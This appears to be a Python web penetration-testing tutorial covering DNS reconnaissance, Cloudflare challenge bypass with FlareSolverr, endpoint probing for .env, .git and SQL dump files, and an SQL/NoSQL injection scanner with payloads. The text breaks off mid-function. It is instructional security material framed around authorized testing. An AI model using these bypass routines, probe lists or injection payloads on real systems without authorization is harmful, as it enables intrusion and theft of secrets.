The Python blocks in this post are simplified examples intended to illustrate techniques. They are not one-to-one equivalents of production code, so when reporting results, record the file, version, and request scope used.
When I first learned about security, I was taught to classify findings into four categories.
Observation covers changes in status codes, response bodies, or timing; Candidate refers to a response that differs from a control request; Confirmed means access to a protected resource or action has been reproduced while controlling for both authorization and session. Unverified covers failed requests, timeouts, or items outside the test scope. Items marked "Candidate" in the output messages below should not be moved into the confirmed vulnerability section of a report.
1. Before You Begin β Web Security Basics
1.1 What Is Penetration Testing?
Penetration testing is the practice of simulating attack paths within an authorized scope to verify real-world impact and defensive boundaries. Agree on the scope, request volume, accounts, and evidence collection limits before starting. Keep only the minimum necessary evidence, and do not include secret values or personal information verbatim in the report.
Python is commonly used in professional practice; exploits are written in it as well, but in Korea specifically, Python is the most prevalent choice.
1.2 HTTP Basics β Why Does This Matter?
Every web attack begins with understanding the structure of HTTP requests and responses.
[Request]
GET /search?q=hello HTTP/1.1 β method (GET) + path + version
Host: example.com β target server
User-Agent: Mozilla/5.0 β client information
Cookie: session=abc123 β authentication state
[Response]
HTTP/1.1 200 OK β status code
Content-Type: text/html β body type
Set-Cookie: session=abc123 β cookie set by the server
<html><body>hello</body></html> β bodyKey concepts:
Status codes: 200 (success), 302 (redirect), 403 (forbidden), 404 (not found), 500 (server error)
Cookie: a value the browser stores and sends with requests that match certain conditions (domain, path, Secure, SameSite, etc.). It may serve as a session identifier.
Session: one of the mechanisms for maintaining login state. Implementations vary, including server-side sessions, signed cookies, and tokens.
GET vs POST: these HTTP methods carry different semantics. Both can use query strings in the URL, and POST can also carry a request body.
1.3 Prerequisites
pip install requests # The only required package# The starting point of every script: creating a requests session
import requests
session = requests.Session()
session.headers.update({
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
"Accept": "text/html,application/xhtml+xml",
"Accept-Language": "ko-KR,ko;q=0.9,en;q=0.8",
})Why use
Session()? ASessionobject automatically stores cookies and resends them with the next request. You need a session to access pages that require authentication after login. Usingrequests.get()on its own resets the cookies on every call.
The core idea here is reuse. Top-level functions like requests.get() internally create a new Session object on every call and then discard it. The real reason to create and reuse a session object rather than manually inserting cookie headers is that penetration testing is fundamentally about pretending to be the same person across requests. Most vulnerability testing assumes a logged-in state, and if you attach cookie headers manually to each request, you can't tell whether you're being blocked because there's no vulnerability or because you made a mistake with the cookies. Reuse is therefore the standard assumption. Moreover, different sessions can produce different responses, which contaminates your observations. In other words, a session object provides a stable baseline for observation.
This guide uses a basic Python requests scanner, but practitioners in the field primarily run validated tools like Burp Suite, Nuclei, or sqlmap. The focus here is on a programmer's minimal understanding rather than actual industry-standard workflows.
2. DNS Reconnaissance
2.1 Why query DNS first?
The goal is to find the actual server IP of a website. A domain name (example.com) is a human-friendly alias; computers communicate using IP addresses (1.2.3.4). DNS is the phonebook that maps one to the other.
What you can learn from DNS:
A record: domain β IPv4 address
AAAA record: domain β IPv6 address
MX record: email server
TXT record: domain verification tokens, SPF configuration
CNAME: alias β canonical domain
In penetration testing, DNS lookup is the first step in drawing a "map of the attack surface".
Without knowing the IP:
You cannot definitively identify which server you are testing (if it sits behind a CDN, you only see the edge IP)
You cannot tell whether other domains share the same IP (shared hosting)
Secondary assets such as subdomains, mail servers, and verification tokens are exposed
TXT records in particular leak a surprising amount of information. SPF settings (v=spf1 include:...) reveal mail infrastructure, and tokens like google-site-verification=... let you infer which SaaS products are in use. You might think "just looking at the website should be enough," but real breaches often start with less-maintained assets like mail servers or staging subdomains.
2.2 How to Tell Whether a Site Uses Cloudflare
Cloudflare provides a WAF (Web Application Firewall) and CDN. When a domain sits behind Cloudflare:
The A record falls within Cloudflare's IP ranges
The HTTP response includes a
CF-RAYheaderThe response includes a
Server: cloudflareheader
Why does this matter? Confusing an edge response from the CDN with a response from the origin server leads to misinterpreted findings. Always confirm which layer you are testing before drawing conclusions from the authorized scope.
[What I see] [What actually responds]
example.com β Cloudflare edge (104.16.x.x) β Origin server (private IP)You receive a
403β did Cloudflare WAF block it, or did the origin server reject it?You receive a
200β is that a response from the origin server, or a CDN cache hit?
Failing to distinguish between the two leads to misreads: you might report "SQLi was blocked" when in reality the CDN cache (not the WAF) served the response, or conversely, you might claim something "got through" when it was just a cached static page.
A WAF is effective against common automated attacks, so I recommend using one. I chose Vercel WAF for my site because it was cheaper.
2.3 Code: DNS Lookup
import requests
import json
def dns_lookup(domain, record_type="A"):
"""DNS record lookup via Google DNS-over-HTTPS (DoH)
Why use Google DoH?
1. Works with `requests` alone, no separate package (`dnspython`) needed
2. It is a public Google API and free to use
3. DNS results are returned as JSON, making parsing straightforward
"""
url = "https://dns.google/resolve"
r = requests.get(url, params={"name": domain, "type": record_type}, timeout=10)
r.raise_for_status()
data = r.json()
status = data.get("Status")
if status == 3:
raise LookupError(f"NXDOMAIN: {domain}")
if status != 0:
raise RuntimeError(f"DNS lookup failed (Status={status}): {domain}")
records = []
if "Answer" in data:
for answer in data["Answer"]:
records.append({
"name": answer.get("name", ""),
"type": answer.get("type", 0), # 1=A, 28=AAAA, 15=MX, 16=TXT, 5=CNAME
"TTL": answer.get("TTL", 0),
"data": answer.get("data", ""),
})
return records
# --- Usage example ---
domain = "example.com"
print(f"=== {domain} DNS Lookup ===")
# A record (IPv4)
a_records = dns_lookup(domain, "A")
for r in a_records:
print(f" A: {r['data']} (TTL: {r['TTL']}s)")
# MX record (email)
mx_records = dns_lookup(domain, "MX")
for r in mx_records:
print(f" MX: {r['data']}")
# TXT record (domain verification)
txt_records = dns_lookup(domain, "TXT")
for r in txt_records:
print(f" TXT: {r['data'][:80]}")What the type numbers mean: 1=IPv4 (A), 28=IPv6 (AAAA), 5=CNAME, 15=MX, 16=TXT, 2=NS
The DNS API returns these as numbers, so you'll need this reference table. Even when HTTP returns 200, the DNS response'sStatusfield may still indicate SERVFAIL. The function above distinguishes NXDOMAIN from other failures via exceptions, and returns an empty list whenStatus=0but no Answer is present. Google DoH Documentation
2.4 Code: Cloudflare Detection
def is_cloudflare(domain):
"""Check whether a domain is behind Cloudflare
Cross-validate using two methods:
1. Whether the A record falls within Cloudflare IP ranges
2. Whether the actual HTTP response contains a CF-RAY header
"""
# Method 1: IP range check
a_records = dns_lookup(domain, "A")
cf_ip_ranges = [
"103.21.244.0/22", "103.22.200.0/22", "103.31.4.0/22",
"104.16.0.0/13", "104.24.0.0/14", "108.162.192.0/18",
"131.0.72.0/22", "141.101.64.0/18", "162.158.0.0/15",
"172.64.0.0/13", "173.245.48.0/20", "188.114.96.0/20",
"190.93.240.0/20", "197.234.240.0/22", "198.41.128.0/17",
]
import ipaddress
is_cf_ip = False
for r in a_records:
try:
ip = ipaddress.ip_address(r["data"])
for cidr in cf_ip_ranges:
if ip in ipaddress.ip_network(cidr):
is_cf_ip = True
break
except ValueError:
continue
# Method 2: HTTP header check
try:
resp = requests.get(f"https://{domain}", timeout=15)
has_cf_ray = "cf-ray" in {k.lower() for k in resp.headers}
has_cf_server = resp.headers.get("Server", "").lower() == "cloudflare"
is_cf_http = has_cf_ray or has_cf_server
except Exception:
is_cf_http = False
return is_cf_ip and is_cf_http # Observations where both indicators agreeWhy check both? The IP range and response headers are different kinds of signals. When both match, it's likely the request passed through a Cloudflare edge node, but this is not a definitive determination since IPv6, CNAME, and proxy configurations, as well as the currency of the IP range list, have not been fully verified.
2.5 Code: Subdomain Enumeration
Why look for subdomains (admin.example.com, api.example.com): even when the main site is well-secured, subdomains often have no defenses at all.
The following code is used together with dns_lookup() from Section 2.3.
def enumerate_subdomains(domain, wordlist=None):
"""Look up common subdomain names one by one in DNS
How it works: query the A record for each candidate name. NXDOMAIN means the name does not exist,
while NOERROR with no A records in the response is also a possibility.
A transmission failure or SERVFAIL does not mean the name is absent.
"""
if wordlist is None:
wordlist = [
"www", "mail", "admin", "api", "dev", "test", "staging",
"portal", "app", "blog", "shop", "cdn", "static", "login",
"dashboard", "vpn", "remote", "secure", "m", "mobile",
"support", "help", "docs", "status", "cpanel", "webmail",
]
found = []
for word in wordlist:
subdomain = f"{word}.{domain}"
try:
records = dns_lookup(subdomain, "A")
except LookupError: # NXDOMAIN: name not found
continue
a_records = [record for record in records if record["type"] == 1]
if a_records:
ip = a_records[0]["data"]
print(f"Found: {subdomain} -> {ip}")
found.append({"subdomain": subdomain, "ip": ip})
return found2.6 Code: Certificate Transparency Log Search
CT logs are a source for finding domain names recorded in publicly available certificates. This does not mean those names are still registered in DNS or that any service is currently running on them.
def search_ct_logs(domain):
"""Searching Certificate Transparency logs on crt.sh
Principle: When issuing an SSL certificate, not only "example.com" but also
wildcards like "*.example.com" or entries like "admin.example.com"
are included as SANs (Subject Alternative Names).
Because these records are stored in public CT logs, the certificate history lets you
find candidate names that were previously listed on certificates.
"""
url = f"https://crt.sh/?q=%.{domain}&output=json"
try:
r = requests.get(url, timeout=30)
if r.status_code == 200:
data = r.json()
subdomains = set()
for entry in data:
names = entry.get("name_value", "")
for name in names.split("\n"):
name = name.strip().lower().rstrip(".")
target = domain.lower().rstrip(".")
if name and (name == target or name.endswith("." + target)) and "*" not in name:
subdomains.add(name)
print(f"Found {len(subdomains)} subdomains in CT logs")
for sd in sorted(subdomains):
print(f" - {sd}")
return list(subdomains)
except Exception as e:
print(f"CT log query failed: {e}")
return []The key is diagnostic hygiene. A mistake many people make when approaching web security and penetration testing is assuming that the domain name typed into a browser's address bar (example.com) is the actual target.
Domain names exist for human convenience; DNS reconnaissance is performed specifically to expose the logical infrastructure and draw a complete map of the attack surface.
There are typically two reasons why DNS reconnaissance should be performed first and in depth.
The main website is usually well-hardened. But weak points in security tend to emerge from areas that are old and no longer actively used, as was the case with the recent Nexon (NiKE) breach. The core task is finding subdomains, admin portals, and development staging environments. Beyond that, MX records
reveal the location of mail servers, and verification tokens embedded in TXT records can even indicate which SaaS services an organization depends on internally. The key point is that these less-managed secondary assets often serve as a foothold for intrusion.
On top of that, most modern web services sit behind CDNs and web firewalls such as Cloudflare or AWS WAF. If you throw payloads at the main domain without performing DNS reconnaissance, there's a good chance they're being routed to a CDN edge node, in which case it becomes hard to tell whether a 403 Forbidden response is coming from the origin server or from the WAF in front of it.
3. WAF Detection and Bypass
3.1 What Is a WAF?
A WAF (Web Application Firewall) is a firewall that inspects web requests and blocks attack patterns. While a regular firewall blocks traffic at the IP/port level, a WAF inspects the contents of requests.
[Attacker] --SQLi payload--> [WAF] --blocked--> 403 Forbidden
|
(normal request) --> [Web Server] --> 200 OKWhat Cloudflare WAF blocks:
SQL injection patterns (
' OR 1=1)XSS patterns (
<script>)Path traversal (
../../../etc/passwd)Suspicious bot requests (triggers a JS Challenge)
3.2 How Cloudflare JS Challenge Works
Cloudflare sends a "Just a moment..." page to suspicious traffic. This page:
presents a challenge to the browser and checks environment and behavioral signals
can issue a
cf_clearancecookie to visitors who pass, subject to the applicable conditionsa valid clearance can skip additional challenges at or below that level, but it does not neutralize all WAF blocking rules
Why doesn't Python requests work? requests does not execute JavaScript. Because it cannot solve the JS computation challenge, it never receives a cf_clearance cookie.
3.3 FlareSolverr: How the Bypass Works
FlareSolverr launches a real browser (Chromium) to solve the JS Challenge.
[Python requests] --Request--> [FlareSolverr] --Launch Chromium-->
[Cloudflare] --JS Challenge--> [FlareSolverr solves it with Chromium]-->
[Obtain cf_clearance cookie] --> [Pass cookie to Python]
--> [Subsequent requests remain subject to other rules, expiry, and visitor checks]3.4 Code: Obtaining cf_clearance with FlareSolverr
import requests
import time
def get_cf_clearance(target_url, flaresolverr_url="http://localhost:8191"):
"""Use FlareSolverr to pass the Cloudflare JS Challenge and
retrieve the `cf_clearance` cookie and User-Agent.
Prerequisites:
- Run FlareSolverr via Docker:
docker run -d -p 8191:8191 ghcr.io/flaresolverr/flaresolverr
- FlareSolverr must be listening at `http://localhost:8191`
Why retrieve the User-Agent along with the cookie?
Record the User-Agent used when clearance was issued to compare request
conditions. Matching that header alone does not make the cookie valid
on another device or session, nor guarantee later requests will pass.
"""
payload = {
"cmd": "request.get",
"url": target_url,
"maxTimeout": 60000,
}
resp = requests.post(f"{flaresolverr_url}/v1", json=payload, timeout=120)
data = resp.json()
if data.get("status") != "ok":
print(f"FlareSolverr failed: {data.get('message', 'unknown')}")
return None, None
solution = data.get("solution", {})
cookies = solution.get("cookies", [])
user_agent = solution.get("userAgent", "")
cf_clearance = None
for cookie in cookies:
if cookie.get("name") == "cf_clearance":
cf_clearance = cookie.get("value")
break
if cf_clearance:
print(f"Successfully obtained cf_clearance (User-Agent: {user_agent[:50]}...)")
else:
print("Could not find the cf_clearance cookie")
return cf_clearance, user_agent
def make_bypass_session(cf_clearance, user_agent, domain):
"""Creates a `requests` session with the `cf_clearance` cookie configured.
The cookie is bound to the specific visitor and device, and has an expiration time and clearance level.
This session does not guarantee that every request will pass through.
"""
session = requests.Session()
session.headers.update({
"User-Agent": user_agent,
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7",
})
session.cookies.set("cf_clearance", cf_clearance, domain=domain)
return session
# --- Usage Example ---
# target = "https://example.com"
# domain = "example.com"
# cf_clearance, ua = get_cf_clearance(target)
# if cf_clearance:
# session = make_bypass_session(cf_clearance, ua, domain)
# resp = session.get(target, timeout=30)
# print(f"Status: {resp.status_code}, Length: {len(resp.text)}")Limitation: Even if the browser passes the challenge, blocking, rate limiting, and re-validation may still be applied separately. Turnstile can also issue only a token or a separate pre-clearance depending on its configuration, so it cannot be lumped together as one type of "image-selection CAPTCHA." Cloudflare clearance documentation
4. Web Application Information Gathering
4.1 Why Gather Information First?
Before attacking, you need to know "who the target is." The attack approach varies depending on what framework, server, and database the target uses.
4.2 Fingerprinting β Technology Stack Identification
Fingerprinting is the practice of inferring a technology stack from clues left in a web server's responses.
import requests
import re
def fingerprint(url):
"""Identify the technology stack from HTTP responses.
Clues to look for:
1. `Server` header β web server type (nginx, Apache, IIS)
2. `X-Powered-By` header β language/framework (PHP, Express, ASP.NET)
3. `Set-Cookie` name β framework session (ci_session, laravel_session)
4. HTML content β JS framework (Vue, React, Angular)
5. WAF headers β Cloudflare (`CF-RAY`), AWS WAF, etc.
"""
session = requests.Session()
session.headers.update({"User-Agent": "Mozilla/5.0"})
r = session.get(url, timeout=15)
headers = dict(r.headers)
body = r.text.lower()
info = {"url": url, "technologies": []}
# --- 1. Server Header ---
server = headers.get("Server", "")
if server:
info["server"] = server
info["technologies"].append(f"Server: {server}")
print(f" Server: {server}")
# --- 2. X-Powered-By ---
powered = headers.get("X-Powered-By", "")
if powered:
info["powered_by"] = powered
info["technologies"].append(f"X-Powered-By: {powered}")
print(f" X-Powered-By: {powered}")
# --- 3. Framework (identified by cookie name) ---
# CodeIgniter: ci_session, csrf_test_name
# Laravel: laravel_session, XSRF-TOKEN
# Django: csrftoken, sessionid
# Express: connect.sid
cookie_names = {cookie.name.lower() for cookie in r.cookies}
framework_map = {
"ci_session": "CodeIgniter",
"laravel_session": "Laravel",
"sessionid": "Django",
"connect.sid": "Express.js",
"jsessionid": "Java/Spring",
}
for cookie_key, fw_name in framework_map.items():
if cookie_key in cookie_names:
info["framework"] = fw_name
info["technologies"].append(f"Framework: {fw_name}")
print(f" Framework: {fw_name}")
break
# --- 4. WAF Detection ---
waf_map = {
"cf-ray": "Cloudflare",
"x-amzn-waf": "AWS WAF",
"incapsula": "Imperva",
"akamai": "Akamai",
}
header_names = {key.lower() for key in r.headers}
for waf_key, waf_name in waf_map.items():
if waf_key in header_names:
info["waf"] = waf_name
info["technologies"].append(f"WAF: {waf_name}")
print(f" WAF: {waf_name}")
break
# --- 5. JS Framework ---
if "vue.js" in body or "data-v-" in body:
info["technologies"].append("JS: Vue.js")
if "react" in body or "data-reactroot" in body:
info["technologies"].append("JS: React")
if "angular" in body or "ng-app" in body:
info["technologies"].append("JS: Angular")
if "jquery" in body:
info["technologies"].append("JS: jQuery")
if "bootstrap" in body:
info["technologies"].append("CSS: Bootstrap")
# --- 6. Title ---
title_match = re.search(r"<title>(.*?)</title>", r.text, re.I | re.S)
info["title"] = title_match.group(1).strip() if title_match else ""
info["status_code"] = r.status_code
info["content_length"] = len(r.content)
print(f" Status: {r.status_code}")
print(f" Title: {info['title']}")
print(f" Body Length: {len(r.content)} bytes")
return infoWhy is this useful? A cookie name like
ci_sessionis a clue suggesting the possible use of CodeIgniter. Keep in mind that names can be changed and imitated by other code, so do not confirm a specific version or vulnerability from this alone β cross-reference it with additional evidence.
4.3 Endpoint Enumeration β Finding Hidden Pages
This function is used together with the requests import from Section 4.2.
import time
def enumerate_endpoints(base_url, session=None):
"""Try common admin/config/backup paths one by one
to find accessible pages.
Response interpretation criteria:
- 200: Page exists (accessible)
- 403: Server responded but denied access (file may exist)
- 404: Not found (or disguised as a generic error page)
Note: You sometimes need to determine whether a 404 means "not found" or "an intentional response"
by examining the response body length.
"""
if session is None:
session = requests.Session()
common_paths = [
# Admin/Login
"admin", "admin/", "login", "login.php", "signin",
"register", "signup", "join",
# API
"api", "api/v1", "api/v1/users", "api/login",
# Config/Info
"robots.txt", "sitemap.xml", ".htaccess",
"phpinfo.php", "info.php", "test.php",
# Developer files
"composer.json", "composer.lock", "package.json",
".env", ".git/HEAD", ".git/config", ".gitignore",
# Backups
"backup.zip", "backup.sql", "db.sql", "dump.sql",
# Admin tools
"phpmyadmin", "adminer", "wp-admin", "wp-login.php",
"server-status", "server-info",
# CodeIgniter-specific
"application/config/database.php",
"application/config/config.php",
"vendor/autoload.php",
"user_guide/",
]
found = []
for path in common_paths:
test_url = f"{base_url.rstrip('/')}/{path}"
try:
r = session.get(test_url, timeout=10, allow_redirects=False)
if r.status_code != 404:
print(f" [{path}] {r.status_code} ({len(r.content)}b)")
found.append({
"path": path,
"status": r.status_code,
"length": len(r.content),
})
except requests.RequestException as error:
print(f"[{path}] Request failed: {error}")
time.sleep(0.5) # --- Going too fast may result in being blocked
return foundWhy use
allow_redirects=False? To inspect the original status code andLocationheader of a redirect. Since there are also common 302 redirects to a login page and blanket 200 error pages, this alone does not confirm that a path exists.
4.4 Security Header Inspection
Security headers are HTTP response headers that instruct the browser to defend against specific types of attacks on a site.
def check_security_headers(url, session=None):
"""Check whether security headers are configured.
Key security headers:
- HSTS: Upgrades subsequent HTTP requests from browsers that have seen an HTTPS response to HTTPS
- X-Frame-Options: Prevents clickjacking (prevents other sites from embedding
this site in an iframe)
- X-Content-Type-Options: Prevents MIME sniffing
- CSP: Restricts where JS/CSS can be loaded from
- Referrer-Policy: Limits how much of the URL is exposed
via the Referer header
"""
if session is None:
session = requests.Session()
r = session.get(url, timeout=15)
headers = {k.lower(): v for k, v in r.headers.items()}
expected = {
"strict-transport-security": "HSTS (HTTPS enforcement)",
"x-frame-options": "Clickjacking prevention",
"x-content-type-options": "MIME sniffing prevention",
"content-security-policy": "CSP (content restriction)",
"referrer-policy": "Referer restriction",
}
present = {}
missing = []
for header, description in expected.items():
if header in headers:
present[header] = headers[header]
print(f"[Present] {description}: {headers[header]}")
else:
missing.append(description)
print(f"[Absent] {description}")
return {"present": present, "missing": missing}When making a judgment: The mere presence of a header does not mean its configuration is correct. Clickjacking protection can also be implemented with CSP's
frame-ancestorsdirective instead ofX-Frame-Options. Verify HSTS on HTTPS responses, and distinguish it from an HTTP-to-HTTPS redirect on the initial HTTP connection. MDN CSP, MDN HSTS
4.5 Cookie Security Inspection
The example below checks only the Secure and HttpOnly flags of cookies set by the current response. It does not assess the actual browser behavior of SameSite or whether the cookie is a login session cookie.
def check_cookies(url, session=None):
"""Check the security attributes of cookies.
Meanings of cookie attributes:
- Secure: transmitted only over HTTPS (not sent over HTTP, preventing eavesdropping)
- HttpOnly: prevents direct reading of that cookie through `document.cookie`.
It does not stop XSS execution or authenticated requests.
- SameSite=Strict/Lax: restricts cookie transmission when requests originate from other sites
(CSRF defense)
"""
if session is None:
session = requests.Session()
r = session.get(url, timeout=15, allow_redirects=False)
results = []
for cookie in r.cookies:
result = {
"name": cookie.name,
"domain": cookie.domain,
"secure": cookie.secure,
"http_only": cookie.has_nonstandard_attr("HttpOnly"),
}
print(f"\n Cookie: {cookie.name}")
print(f" Secure: {result['secure']}")
print(f" HttpOnly: {result['http_only']}")
if not result["secure"]:
print(f"[Review] No Secure flag β need to verify the transmission path")
if not result["http_only"]:
print(f"[Review] No HttpOnly β need to verify the purpose of the cookie")
results.append(result)
return resultsThis may sound a bit abstract, but think of it as a way to gauge an organization's security maturity.
Technology stack identification (fingerprinting): The process collects clues from HTTP response headers (
Server,X-Powered-By), framework-specific cookie names, and HTML body content to reverse-engineer the target's language, web server, and WAF (Web Application Firewall), because knowing the adversary's arsenal is what allows you to choose the right attack approach.
Fingerprinting techniques are primarily used to build scraping bots. Since this is something I use frequently in data scraping work as a freelance programmer, it's worth keeping in mind.
The usual reason for identifying the technology stack is to match exposed version numbers against publicly disclosed vulnerabilities (CVEs) via Google or exploit databases. In other words, it's about leveraging already-known CVEs, which is precisely why keeping your technology stack up to date is non-negotiable from a security standpoint.
Hidden path (endpoint) enumeration: This technique uncovers admin pages, backup files, and configuration files that are invisible to regular users. Rather than simply trusting a 404 (Not Found) status code, it carefully compares differences in response length and the presence of redirects (302) to surface cleverly concealed entry points.
The most valuable prize uncovered through endpoint enumeration is none other than a configuration file like /.env. People in the hacking world tend to fixate on exploits like SQL injection or RCE, but the greatest real-world risk to most websites is the exposure of a configuration file like .env. Inside that file, AWS access keys and production database credentials are written in plain text. There's no need to bypass a WAF or craft twisted queries. You can just walk up to the cloud with the master key you found lying around and log in without any fuss. This is exactly why Vercel, Netlify, and cloud providers' Secrets Managers are now considered mandatory. These days, instead of handling everything on a VPS, the standard practice is to store secrets in a platform vault. Honestly, this is a big part of why building a website properly costs so much money these days.
Security configuration (headers and cookies) inspection: This checks whether security headers such as
CSP,HSTS, andX-Frame-Options, as well as cookie safety attributes (Secure,HttpOnly), are properly configured. Through this, you can assess how vulnerable the application is to client-side attacks like XSS or clickjacking, essentially evaluating the gaps in its defensive perimeter.
An XSS bug on a bulletin board can put an administrator account at risk. HttpOnly keeps the affected session cookie out of document.cookie, but it does not turn the attack into a harmless alert(1). The script still runs in the victim's browser and can make authenticated requests or read information visible on the page. Without HttpOnly, the cookie value may also be exposed; whether a stolen cookie can be replayed elsewhere depends on the site's session controls. Admin APIs still need server-side authorization checks.
I use Google sign-in for administrators on this site. Delegating the initial login to an identity provider means the site does not need to store an admin password. It does not physically separate admin privileges from the application's own session or prevent that session from being hijacked. The site still has to protect and revoke sessions and check admin privileges on every protected server-side operation.
Looking at all this, one can't help but think that programmers are, fundamentally, a species that assembles other people's services. No matter how elaborately you craft your own shield, the attack surface is just too large, so it makes sense to outsource certain panels of that armor so that responsibility for those parts falls elsewhere.
5. SQL Injection
5.1 What Is SQL?
SQL is the language used to store, retrieve, and modify data in a database.
-- Vulnerable example for illustration purposes. Real services verify password hashes separately.
SELECT * FROM users WHERE username = 'admin' AND password = '1234'5.2 Why Does Injection Work?
The problem lies in string concatenation. Vulnerable code:
// [Bad code] β user input is inserted directly into SQL
$query = "SELECT * FROM users WHERE username = '" . $input . "' AND password = '" . $pw . "'";
// In MySQL, if the input is `admin' -- ` (with a trailing space):
// SELECT * FROM users WHERE username = 'admin' -- ' AND password = '...'
// β Everything from here is treated as a comment
// β The password check is bypassedWhat happens in vulnerable code:
In MySQL, entering
admin' --results in'admin' --. The space after--is part of the comment syntax.In this vulnerable string concatenation example, the trailing
AND password = ...can be commented out.If the
adminuser exists and the application grants login based solely on this result, the password check is bypassed. The actual outcome varies depending on the DB dialect, query structure, and authentication flow. MySQL Comment Syntax
Safe code (parameterized query):
// [Safe code] β Uses `?` placeholders to separate values from SQL structure
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->execute([$input, $pw]);
// Even if the input is `admin' --`, the database treats it as a 'string value' only
// Because it is not interpreted as SQL syntax, injection cannot occur.
// A real login implementation queries the user first, then verifies the hash with `password_verify()`.5.3 Attack Types
Type | Principle | How to identify |
|---|---|---|
Error-based | Table/column information is exposed through DB error messages | A candidate if a specific error that was absent in the normal response suddenly appears |
Boolean-based | Whether the response content changes based on true/false conditions |
|
Time-based | Delay response time with | If the response arrives 5 seconds late after inserting |
NoSQL | Bypass conditions using operators ( | Send JSON operators and observe response changes |
- Type
Error-based
- Principle
Table/column information is exposed through DB error messages
- How to identify
A candidate if a specific error that was absent in the normal response suddenly appears
- Type
Boolean-based
- Principle
Whether the response content changes based on true/false conditions
- How to identify
AND 1=1(true) vsAND 1=2(false) response comparison
- Type
Time-based
- Principle
Delay response time with
SLEEP()- How to identify
If the response arrives 5 seconds late after inserting
SLEEP(5), the vulnerability is detected
- Type
NoSQL
- Principle
Bypass conditions using operators (
$ne,$gt) in MongoDB and similar databases- How to identify
Send JSON operators and observe response changes
Cloudflare and AWS WAF still apply their configured rate limits and payload rules when the script spaces requests with time.sleep().
When I ask colleagues who work in the industry, they usually say they run a proxy pool or randomize requests headers to bypass these protections. That said, there's really no reason to go that far for a personal site.
5.4 Code: SQLi Scanner
import requests
import time
class SQLiScanner:
"""SQL Injection Automated Scanner
Principle:
1. First measure the response length/time of a normal request (baseline)
2. Send a request containing an attack payload
3. If there is an error, time difference, or length difference compared to the baseline, treat it as suspicious
"""
# DB error message patterns β if any of these strings appear in the response, a SQL error has occurred
DB_ERROR_PATTERNS = [
"SQL syntax", # MySQL
"You have an error in your SQL syntax", # MySQL specific
"ORA-", # Oracle
"SQLSTATE", # PDO (multiple DBs)
"PG::Error", # PostgreSQL
"sqlite_", # SQLite
"Microsoft SQL Server", # MSSQL
"ODBC SQL Server", # MSSQL ODBC
"MariaDB server", # MariaDB
]
def __init__(self, session=None, delay=1.0):
self.session = session or requests.Session()
self.delay = delay # --- Wait time between requests (to avoid blocking)
self.results = []
def scan_get(self, url, param="id"):
"""GET parameter SQLi scan
url = "https://example.com/search"
param = "q"
β Tests in the form `?q=<payload>`
"""
print(f"\n[SQLi] GET {url}?{param}=<payload>")
self.results = [] # Returns only the observations from this call
# --- 1. Baseline measurement (normal request) ---
base_start = time.time()
r_base = self.session.get(url, params={param: "1"}, timeout=15)
base_elapsed = time.time() - base_start
base_len = len(r_base.text)
print(f"Baseline: {r_base.status_code}, {base_len}b, {base_elapsed:.1f}s")
# --- 2. Payload list ---
payloads = [
# [Error-based] β intentionally triggers a DB error message
("1'", "single_quote"),
("1' OR '1'='1", "error_or"),
("1 UNION SELECT NULL", "union_null"),
("1 UNION SELECT 1,2,3", "union_3col"),
# [Boolean-based] β checks response differences using true/false conditions
("1 AND 1=1", "boolean_true"),
("1 AND 1=2", "boolean_false"),
# [Time-based] β delays the response using SLEEP
("1 AND SLEEP(3)", "time_sleep_mysql"),
("1; WAITFOR DELAY '0:0:3'", "time_wait_mssql"),
]
# --- 3. Test each payload ---
for payload, name in payloads:
time.sleep(self.delay)
start = time.time()
try:
r = self.session.get(
url, params={param: payload}, timeout=30
)
elapsed = time.time() - start
# [A] Error-based: does the response contain a DB error message?
has_error = any(
p in r.text and p not in r_base.text
for p in self.DB_ERROR_PATTERNS
)
if has_error:
print(f"[{name}] New DB error string candidate")
self.results.append({
"type": "db_error_candidate",
"payload": payload,
"name": name,
"status": r.status_code,
})
continue
# [B] Time-based: is the response abnormally slow?
if name.startswith("time_") and elapsed > base_elapsed + 2.0:
print(f"[{name}] Delay candidate: {elapsed:.1f}s"
f"(Baseline {base_elapsed:.1f}s β a control request is needed for confirmation)")
self.results.append({
"type": "time_candidate",
"payload": payload,
"name": name,
"elapsed": elapsed,
})
continue
# [C] Boolean-based: does the response length differ from the baseline?
len_diff = abs(len(r.text) - base_len)
if name in {"boolean_true", "boolean_false"}:
print(f" [{name}] {r.status_code}, {len(r.text)}b, "
f"Difference: {len_diff}b, {elapsed:.1f}s")
else:
print(f" [{name}] {r.status_code}, "
f"{len(r.text)}b, {elapsed:.1f}s")
except requests.Timeout:
# A normal request may also time out. Distinguish between failures and vulnerability candidates.
print(f"[{name}] Timeout (cause undetermined)")
except Exception as e:
print(f"[{name}] Error: {e}")
return self.results
def scan_nosql(self, url, param="username", method="POST"):
"""NoSQL Injection Scan (MongoDB, etc.)
NoSQL is JSON-based, so it uses a different injection approach than SQL.
Principle:
This only applies when the server parses the input as an operator object and passes it directly into the query;
operators like `$ne` can alter the condition only in that case. Because this example sends JSON *strings* in form fields,
the injection does not occur unless the server re-parses those strings as objects.
"""
print(f"\n[NoSQLi] {method} {url} param={param}")
nosql_payloads = [
# `$ne`: not-equal β the result varies depending on how the server constructs the query
({"$ne": None}, "ne_null"),
# `$gt`: greater-than β the actual result depends on the data type, query, and server-side parsing
({"$gt": ""}, "gt_empty"),
# `$regex`: regular expression β may match string values, but does not necessarily mean all users are matched
({"$regex": ".*"}, "regex_all"),
# `$where`: JavaScript β evaluates JS on the server
({"$where": "1==1"}, "where_true"),
]
# --- Baseline: measure first with a plain string value ---
try:
if method == "POST":
r_base = self.session.post(
url, data={param: "baseline_value"},
timeout=15, allow_redirects=False,
)
else:
r_base = self.session.get(
url, params={param: "baseline_value"},
timeout=15, allow_redirects=False,
)
base_len = len(r_base.text)
print(f"Baseline: {r_base.status_code}, {base_len}b")
except Exception as e:
print(f"Baseline measurement failed: {e}")
base_len = None
for payload_obj, name in nosql_payloads:
import json
payload_str = json.dumps(payload_obj)
time.sleep(self.delay)
try:
if method == "POST":
r = self.session.post(
url, data={param: payload_str},
timeout=15, allow_redirects=False
)
else:
r = self.session.get(
url, params={param: payload_str},
timeout=15, allow_redirects=False
)
if base_len is None:
print(f"[{name}] {r.status_code}, {len(r.text)}b (no baseline available)")
continue
len_diff = abs(len(r.text) - base_len)
